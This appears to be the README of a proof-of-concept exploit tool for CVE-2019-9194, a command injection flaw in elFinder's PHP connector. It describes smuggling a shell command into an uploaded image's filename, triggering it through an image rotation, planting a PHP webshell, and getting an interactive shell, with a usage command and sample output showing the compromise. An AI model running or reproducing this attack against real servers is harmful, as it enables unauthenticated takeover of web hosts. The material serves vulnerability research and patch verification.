CVE-2019-9194 — elFinder Command Injection (PoC)

Command injection vulnerability in elFinder <= 2.1.47 via the PHP connector component. Allows unauthenticated remote code execution as the web server user.

How it works

• Uploads a valid JPEG with a malicious filename containing a shell command.
• Triggers the vulnerability by requesting an image rotation, which passes the filename to exiftran without sanitization.
• The injected command writes a PHP webshell (SecSignal.php) to the server.
• Connects to the webshell and drops into an interactive shell.

Requirements

• Python 3
• requests library (pip install requests)
• Target must have exiftran installed and the elFinder PHP connector enabled (connector.minimal.php)

Usage

python3 exploit.py http://TARGET

Example:

$ python3 exploit.py http://10.10.10.10/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)